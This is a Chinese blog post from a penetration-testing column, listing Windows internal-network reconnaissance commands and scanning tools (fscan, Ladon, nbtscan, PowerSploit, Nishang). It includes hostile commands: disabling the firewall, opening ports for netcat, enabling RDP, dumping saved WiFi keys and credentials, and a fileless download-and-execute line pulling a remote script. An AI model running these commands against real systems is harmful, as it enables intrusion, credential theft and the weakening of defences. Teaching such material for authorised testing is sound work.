内网信息收集

已于 2023-12-01 23:55:10 修改
阅读量958 收藏 3
点赞数 1
分类专栏： 渗透 文章标签： 网络安全
于 2022-07-16 15:23:28 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45455136/article/details/125792031
版权

内网信息收集

手动内网信息收集

  • 本机网络配置信息
    ipconfig
  • 操作系统和版本信息
    systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本”
  • 系统体系结构
    echo %PROCESSOR_ARCHITECTURE%
  • 安装的软件及版本
    wmic product get name,version
    powershell “Get-WmiObject -class win32_product | Select-Object -Property name,version”
  • 本机服务信息
    wmic service list brief
  • 进程信息
    tasklist
    wmic process list brief
  • 开机自启程序信息
    wmic startup get command,caption
  • 计划任务信息
    schtasks /query /fo LIST /v
  • 主机开机时间信息
    net statistics workstation
  • 用户列表信息
    net user
    wmic useraccount get name,SID
  • 列出会话
    net session
  • 端口列表
    netstat -ano
  • 补丁列表
    systeminfo
    wmic qfe get Caption,Description,HotFixID,InstalledOn
  • 共享列表
    net share
    wmic share get name,path,status
  • 路由信息
    route print
  • 查看防火墙状态
    netsh firewall show state
  • 关闭防火墙
    Windows server 2003：netsh firewall set opmode disable
    Windows server 2003之后：netsh firewall set opmode disable或netsh advfirewall set allprofiles state off
  • 查看防护墙配置
    netsh firewall show config
  • 添加指定程序入站允许规则
    Windows server 2003及之前：netsh firewall add allowedprogram c:\nc.exe “allownc” enable
    Windows server 2003之后：netsh advfirewall firewall add rule name=“pass nc” dir=in action=allow program=“C:\nc.exe”
  • 添加指定程序出站允许规则
    netsh advfirewall firewall add rule name=“Allownc” dir=out action=allow program=“C:\nc.exe”
  • 允许3389端口入站
    netsh advfirewall firewall add rule name=“RemoteDesktop” protocol=TCP dir=in localport=3389 action=allow
  • 开启远程服务
    server 2003：wmic path win32_terminalservicesetting where (_CLASS !=“”) call setallowtsconnections 1
    server2008和2021：
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启
    REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 11111111 /f #关闭
  • WIFI密码收集
    for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
  • 查询RDP端口
    reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp” /V PortNumber
  • 查看代理配置信息
    reg query “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings”
  • 查看当前保存的登录凭证
    cmdkey /l
  • ARP信息
    arp -a
  • 查看最近打开的文档
    dir %APPDATA%\Microsoft\Windows\Recent
  • 查询本机用户组
    net localgroup
  • 查看管理员组成员列表
    net localgroup administrators
  • 查看RDP凭证
    dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
  • 杀毒软件查询
    wmic /node:localhost /namespace:\root\securitycenter2 path antivirusproduct get displayname /format:list

bat脚本信息收集

  • @echo off
    不显示后续命令及当前命令
  • dir c:*.* >a.txt
    将c盘文件写入a.txt
  • call c:*.bat
    调用c盘的bat文件
  • echo 123
    输出123
  • pause
    等待按键继续，显示命令行窗口
  • rem 111
    注释111
  • cd abc
    进入abc目录
  • 1.html
    打开1.html
  • echo 123 >1.txt
    输出123到1.txt
  • echo 456 >>1.txt
    追加456到1.txt

生成表格html

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

内网扫描

无工具扫描

  • 扫描内网网段
    for /l %i in (1,1,255) do @ping 192.168.30.%i -w 1 -n 1 | find /i “ttl”
    在这里插入图片描述

  • 扫描域内存活主机
    for /F "eol=- tokens=1 delims=\ " %a IN (‘net view’) DO @(echo name: %a: & ping %a -w 1 -n 1 | find /i “ttl” & echo.)
    在这里插入图片描述

  • powershell针对单个ip的多个端口扫描
    1…450 | % {echo ((new-object Net.Sockets.TcpClient).Connect(“192.168.30.128”,$_)) “Port $_ is open!”} 2>$null
    在这里插入图片描述

  • 高版本powershell针对ip为120到150的80端口存活扫描
    foreach ($ip in 120…150) {Test-NetConnection -Port 80 -InformationLevel “Detailed” 192.168.30.$ip}

nbtscan

扫描Windows网络上的NetBIOS名字信息。对给出范围内的每一个地址发送NetBIOS状态查询，列出响应的主机信息，可获取PC的真实IP地址和MAC地址

  • nbtscan.exe 网段
    在这里插入图片描述

ICMP

依次对内网中的每个IP地址执行ping命令，快速找出内网存活主机

  • for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.137.%I | findstr “TTL=”
    在这里插入图片描述

ARP

使用ARP协议进行IP探测

  • arp.exe -t 网段
    在这里插入图片描述

kscan

资产测绘工具，可对指定资产进行端口扫描及TCP指纹识别和Banner抓取。能针对扫描结果进行自动化暴力破解

  • kscan.exe -t 网段 --encoding gb2312
    在这里插入图片描述

fscan

内网综合扫描工具。支持主机存活探测、端口扫描、常见服务的爆破、计划任务反弹shell、读取win网卡信息、web漏洞扫描、域控识别等功能

  • fscan.exe -h 192.168.137.0/24
    在这里插入图片描述

ladon

大型网络渗透的多线程插件化综合扫描神器，含端口扫描、服务识别、密码爆破、高危漏洞检测以及一键GetShell等功能，Ladon支
持Cobalt Strike插件化扫描快速拓展内网进行横向移动

  • Ladon.exe 192.168.137.0/24 OnlinePC
    在这里插入图片描述

ScanLine

windows下的端口扫描命令行程序，可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度快，不需要winPcap库支持

  • shell ScanLine.exe -bhpt 0-4000 192.168.137.30
    在这里插入图片描述

Telnet

Telnet协议是TCP/IP协议簇的一员，是Internet远程登录服务的标准协议和主要方式。可快速探测某台主机的某个常规高危端口是否开放

  • telnet IP地址 端口

PowerSploit

基于PowerShell的后渗透框架软件，包含很多PowerShell攻击脚本，用于渗透中的信息侦测，权限提升，权限维持等

  • 本地执行
    powershell -exec bypass Import-Module .\Invoke-Portscan.ps1;Invoke-Portscan -Hosts 网段 -ports ‘445,8080,3389,80’
    在这里插入图片描述
  • 无文件远程执行
    powershell ‐exec bypass ‐c IEX (New‐Object System.Net.Webclient).DownloadString(‘远程服务器地址/Invoke‐Portscan.ps1’);import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 网段 ‐ports ‘445,8080,3389,80’

Nishang

针对PowerShell的渗透工具

  • powershell Set-ExecutionPolicy remotesigned #允许导入
    powershell -command “& {import-module .\nishang\nishang.psm1;Invoke-PortScan -StartAddress 192.168.137.1 -EndAddress 192.168.137.31 -ResolveHost -ScanPort -Port 445 }” #导入模块扫描网段
    在这里插入图片描述
  • nishang文件夹放入CS目录进行导入
    powershell-import .\nishang\nishang.psm1
    powershell Invoke‐PortScan ‐StartAddress 192.168.137.1 ‐EndAddress 192.168.137.31 ‐ResolveHost -ScanPort
c1o22
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
内网扫描三剑客（netspy+fscan+nmap）
菜鸟学安全的博客
05-14 4868
内网安全漏洞快速扫描工具组合拳，快速发现内网的风险。
安全人员必备内网漏扫工具——fscan是什么？并Win11安装fscan扫描工具、操作方法
热门推荐
weixin_44716769的博客
11-15 1万+
当Fscan扫描一个IP地址时，它会发送一个ICMP Echo Request消息，如果目标主机响应了这个消息，说明目标主机是存活的。它会向目标主机发送一个TCP连接请求，如果目标主机响应了连接请求，说明该端口是开放的。该命令将扫描xxx.com的TCP端口，并尝试根据响应的TCP包识别运行的服务类型和版本号。该命令将扫描xxx.com的TCP端口，并尝试根据响应的TCP包推断操作系统类型。该命令将扫描xxx.com的所有TCP端口，并列出开放的端口和运行的服务。生成fscan.exe可执行文件。
红队快速打点工具-fscan
siu~
09-23 1408
一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。 支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 该工具不仅只能用于内网，外网同样能够使用。
内网信息收集.pdf
最新发布
04-08
内网信息收集
11内网信息收集11111111111
07-05
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
渗透测试 _ 内网信息收集1
08-03
前言在内网渗透测试中，信息收集的深度与广度，直接关系到整个内网渗透测试的成败，本篇文章主要对内网信息收集做简单介绍~一、内网信息描述当渗透测试人员进入内网后，面
内网信息收集--.pdf
08-29
内网信息收集
内网信息收集批处理脚本
01-05
内网信息收集批处理脚本.使用时请将后缀修改为bat
内网扫描工具
09-25
#网络资产信息扫描 在渗透测试(特别是内网)中经常需要对目标进行网络资产收集，即对方服务器都有哪些IP，IP上开了哪些端口，端口上运行着哪些服务，此脚本即为实现此过程，相比其他探测脚本有以下优点：1、轻巧简洁,只需python环境，无需安装额外外库。2、扫描完成后生成独立页面报告。 此脚本的大概流程为 ICMP存活探测-->端口开放探测-->端口指纹服务识别-->提取快照(若为WEB)-->生成结果报表 运行环境:python 2.6 + 参数说明 -h 必须输入的参数，支持ip(192.168.1.1)，ip段（192.168.1），ip范围指定（192.168.1.1-192.168.1.254）,ip列表文件（ip.ini），最多限制一次可扫描65535个IP。 -p 指定要扫描端口列表，多个端口使用,隔开 例如：22,23,80,3306。未指定即使用内置默认端口进行扫描(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1723,1433,1521,3306,3389,3690,5432,5800,5900,6379,7001,8000,8001,8080,8081,8888,9200,9300,9080,9999,11211,27017) -m 指定线程数量 默认100线程 -t 指定HTTP请求超时时间，默认为10秒，端口扫描超时为值的1/2。 -n 不进行存活探测(ICMP)直接进行扫描。 结果报告保存在当前目录(扫描IP-时间戳.html)。 例子： python NAScan.py -h 10.111.1 python NAScan.py -h 192.168.1.1-192.168.2.111 python NAScan.py -h 10.111.1.22 -p 80,7001,8080 -m 200 -t 6 python NAScan.py -h ip.ini -p port.ini -n 服务识别在server_info.ini文件中配置 格式为：服务名|默认端口|正则 例 ftp|21|^220.*?ftp|^220- 正则为空时则使用端口进行匹配，否则以正则匹配结果为准。 项目地址 https://github.com/ywolf/ 欢迎大家反馈建议和BUG
靶机测试CyNix笔记
qq_56426046的博客
01-06 725
然后strstr判断对应字符串是否在file中，在则返回字符串，不在返回FALSE，绕过只需要TRUE&&FALSE，也就是数字（2130706433）看到 file 初步估计这个里一个包含或者是一个本地文件读取漏洞 需要你绕过它。然后直接构造payload读取想要的文件，其实在前面加上任意字符串就可以绕过。根据扫描结果发现开放80端口和6688端口，分别是http和ssh服务。2130706433 最后来到这个部分，同样直接全部false绕过，下面有个留言板，抓包提交发现一个红色的框，bp查看返回的包。
【内网学习笔记】14、发现主机缺失补丁
TeamsSix 的 CSDN 空间
07-06 837
0、前言 在内网中，往往所有主机打补丁的情况都是相似的，因此在拿下一台主机权限后，可以通过查看当前主机打补丁的情况，从而找到漏洞利用点，进而进行接下来的横向、提权等操作。 1、手工发现缺失补丁 systeminfo 直接运行 systeminfo 命令，在「修补程序」（英文：Hotfix(s) ）处可以看到已安装的补丁。 C:\Users\teamssix> systeminfo ……内容过多，此处省略…… 修补程序: 安装了 2 个修补程序。 [01]: KB2999226
fscan使用方法：一键自动化、全方位漏洞扫描的开源工具
weixin_50464560的博客
05-21 9345
简介 fscan 是一个内网综合扫描工具，方便一键自动化、全方位漏洞扫描。 它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 源码链接：https://github.com/shadow1ng/fscan 主要功能 1.信息搜集: 存活探测(icmp) 端口扫描 2.爆破功能: 各类服务爆破(ssh、smb等) 数据
【安全工具】内网劫持工具EvilFoca介绍
qq_26243045的博客
02-16 918
在Domain中输入你想要劫持的网站，IP处则输入你指定要让目标访问的IP，如果没有固定的域名要劫持想让所有的域名都被劫持，可以勾选Domain后面的wildcard，这样目标浏览的所有的网站都会解析到你指定的网站上，但是会导致目标的网速变的很慢需要慎重使用。EvilFoca是一款强大的内网攻击工具，拥有ARP劫持，DHCP ACK注入，DNS劫持，Dos攻击，还具有有内网主机发现功能。这时我们打开wireshark筛选数据包，可以发现流量已经经过我们的网卡来传输了，达到攻击目的。
识别fscan扫描结果 生成excel表格
aaaaa_ascii的博客
07-27 1149
将fscan扫描后的结果文件进行信息识别、汇总，输出生成excel表格文档。
内网综合扫描工具-fscan的安装和使用
黄乔国PHP
10-03 1314
一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。相当强大！（借助官网的描述）
web渗透--ICMP扫描详解
朝阳似锦 晖映山河
08-13 4955
ICMP扫描 ICMP(Internet Control Message Protocal,因特网控制报文协议)工作在OSI上网络层，向数据通信中的源主机报告错误。ICMP就是一个“错误的侦测与回报机制”，目的是为了能够检测网络的连续状况，也能够确保连续的准确性。通过实施ICMP Ping扫描，可以发现目标主机是否活动。 一、ICMP工作机制 ICMP是TCP/IP的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息指的是网络通不通、主机是否可达、路由是否可用等网络本身的消息。当遇...
内网ip资产收集工具
11-25
内网IP资产收集工具是一种用于扫描和收集公司内部网络中所有计算机、服务器、网络设备和其他IP地址的工具。它能够帮助网络管理员全面了解公司内部网络的整体架构和IP资产情况，从而更好地进行网络管理和安全防护。 该工具通常通过扫描内网IP地址范围，识别每个IP地址对应的设备类型、操作系统信息、开放的端口和服务，甚至是安装的软件和补丁情况。这些数据可以帮助管理员及时发现并解决网络中存在的漏洞和安全风险，确保公司网络的安全性和稳定性。 此外，内网IP资产收集工具还能够帮助公司进行资产管理和规划。管理员可以根据收集到的数据，对公司内部网络进行可视化的管理和规划，包括设置IP地址分配方案、维护设备清单和版本更新计划。 总之，内网IP资产收集工具在公司网络管理中起着非常重要的作用，它能够帮助管理员全面了解内部网络的情况，针对性地进行安全防护和资产管理，保障公司网络的安全和稳定运行。因此，对于企业来说，使用内网IP资产收集工具是非常必要和有益的。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值